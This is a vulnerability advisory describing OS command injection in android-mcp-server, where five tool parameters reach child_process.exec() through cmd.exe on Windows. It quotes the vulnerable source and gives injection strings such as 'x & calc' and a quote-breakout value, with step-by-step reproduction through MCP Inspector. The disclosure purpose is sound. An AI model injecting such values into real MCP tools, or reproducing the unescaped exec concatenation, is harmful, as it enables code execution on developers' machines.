| Description | Summary
A OS command injection vulnerability was identified in android-mcp-server. The server builds ADB commands via string concatenation and executes them with child_process.exec(). On Windows, input is interpreted by cmd.exe, allowing arbitrary command execution on the host running the MCP server (confirmed via calc.exe PoC).
The issue is not limited to a single tool—multiple MCP tools and string parameters are affected. The following parameters were verified as exploitable: deviceId, packageName, permission, extras[].key, and extras[].value. Injection succeeded even when no Android device was connected, confirming impact on the developer’s PC, not only the target device.
Details
Root Cause
All ADB operations flow through a single helper, executeAdbCommand, which concatenates user-controlled strings into a shell command and passes it to child_process.exec(). On Windows, exec() delegates to cmd.exe, which interprets metacharacters such as & and " as shell syntax.
Sink — the final dangerous call:
import {exec} from 'child_process';
import {promisify} from 'util';
// ...
const execAsync = promisify(exec);
// 使用完整路径执行命令
const cmd = `"${adbPath}" ${deviceOption} ${command}`;
console.log('Executing command:', cmd);
const {stdout, stderr} = await execAsync(cmd);
There is no shell escaping or use of execFile/spawn with an argument array. Any tainted input reaching ${deviceOption} or ${command} can alter the command executed on the host.
1. deviceId
Source — defined once and spread into nearly every tool via deviceSelectionParams:
const deviceSelectionParams = {
deviceId: z.string().optional().describe('Target specific device by ID (takes precedence over useUsb and useEmulator)'),
useUsb: z.boolean().optional().default(false).describe('Target USB connected device (-d)'),
useEmulator: z.boolean().optional().default(false).describe('Target emulator instance (-e)')
};
Propagation — the handler receives deviceId from the MCP client and embeds it directly into deviceOption:
let deviceOption = '';
if (options?.deviceId) {
deviceOption = `-s ${options.deviceId}`;
Sink path — deviceOption is inserted into cmd before execAsync:
const cmd = `"${adbPath}" ${deviceOption} ${command}`;
console.log('Executing command:', cmd);
const {stdout, stderr} = await execAsync(cmd);
Example — calling any tool that accepts deviceSelectionParams (e.g. battery-info) with deviceId = "x & calc" produces:
"C:\platform-tools\adb.exe" -s x & calc shell dumpsys battery
cmd.exe parses this as three commands; calc runs on the host regardless of whether adb succeeds.
2. packageName
Source — example from uninstall-apk (same parameter exists in grant-permission, revoke-permission, etc.):
{
...deviceSelectionParams,
packageName: z.string().describe('Package name of the application'),
keepData: z.boolean().optional().default(false).describe('Keep the app data and cache directories (-k)')
},
async ({ deviceId, useUsb, useEmulator, packageName, keepData }) => {
Propagation — concatenated into the command argument without quoting:
const options = keepData ? '-k' : '';
const result = await executeAdbCommand(`uninstall ${options} ${packageName}`, { deviceId, useUsb, useEmulator });
Sink path — the tainted string becomes part of command, then flows into execAsync(cmd) via line 35–37 above.
Example — uninstall-apk with packageName = "com.fake & calc" produces:
"C:\platform-tools\adb.exe" uninstall com.fake & calc
3. permission
Source — grant-permission tool schema and handler:
...deviceSelectionParams,
packageName: z.string().describe('Package name of the application'),
permission: z.string().describe('Permission to grant (e.g., android.permission.CAMERA)')
},
async ({ deviceId, useUsb, useEmulator, packageName, permission }) => {
Propagation — both packageName and permission are unquoted in the command string:
try {
const result = await executeAdbCommand(`shell pm grant ${packageName} ${permission}`, { deviceId, useUsb, useEmulator });
Sink path — same as above: command → cmd → execAsync.
Example — grant-permission with permission = "android.permission.CAMERA & calc" produces:
"C:\platform-tools\adb.exe" shell pm grant com.example android.permission.CAMERA & calc
The same pattern applies to revoke-permission at line 344.
4. extras[].key
Source — start-activity defines extras as an array of objects with a user-controlled key:
extras: z.array(z.object({
type: z.enum(['string', 'int', 'long', 'float', 'boolean', 'uri', 'component']),
key: z.string(),
value: z.string()
})).optional().describe('Intent extras (e.g., [{type: "string", key: "key1", value: "value1"}])'),
Propagation — extra.key is appended without quotes when building the adb sub-command:
if (extras && extras.length > 0) {
for (const extra of extras) {
cmd += ` --e${extra.type.charAt(0)} ${extra.key} "${extra.value}"`;
}
Sink path — the constructed cmd is passed to executeAdbCommand, which again reaches execAsync:
const result = await executeAdbCommand(cmd, { deviceId, useUsb, useEmulator });
Example — start-activity with extras = [{ "type": "string", "key": "x & calc", "value": "test" }] produces:
"C:\platform-tools\adb.exe" shell am start --es x & calc "test"
5. extras[].value
Source — same schema as above; value is a user-controlled string field at line 561.
Propagation — extra.value is wrapped in double quotes, but the quotes are not escaped, allowing breakout:
cmd += ` --e${extra.type.charAt(0)} ${extra.key} "${extra.value}"`;
Sink path — identical to extras[].key: cmd → executeAdbCommand → execAsync(cmd).
Example — with key = "foo" and value = "\" & calc & rem", the constructed segment becomes:
--es foo "" & calc & rem"
cmd.exe closes the quoted string at the injected ", then executes calc as a separate command.
All five verified parameters reach the same sink through this path. The absence of input validation beyond Zod type checking (which only confirms the value is a string, not that it is shell-safe) means any MCP caller can supply malicious payloads without bypassing the schema.
MCP Inspector Verification Procedure
Setup
Build the project:
cd D:\MCP\mcp.so\j\android-mcp-server
npm install
npm run build
Start Inspector:
npx -y @modelcontextprotocol/inspector@latest node build/index.js "C:\platform-tools\adb.exe"
Open the URL printed in the terminal (includes MCP_PROXY_AUTH_TOKEN) and click Connect.
Go to the Tools tab.
Note: Host-side RCE verification does not require a connected Android device. If calc.exe launches—even when the response shows no devices/emulators found—the vulnerability is confirmed.
Verification 1: deviceId
Tool: battery-info (or any tool that accepts deviceId)
deviceId: xxx&calc
then, click Run Tool
Verification 2: packageName
Tool: uninstall-apk
packageName: com.fake.pkg & calc
then, click Run Tool
Verification 3: permission
Tool: grant-permission
packageName: xxx
permission: android.permission.CAMERA & calc
then, click Run Tool
Verification 4: extras[].key
Tool: start-activity
extras:
[
{
"type": "string",
"key": "x & calc",
"value": "test"
}
]
then, click Run Tool
Verification 5: extras[].value
Tool: start-activity
extras:
[
{
"type": "string",
"key": "foo",
"value": "\" & calc & rem"
}
]
Impact
RCE |
|---|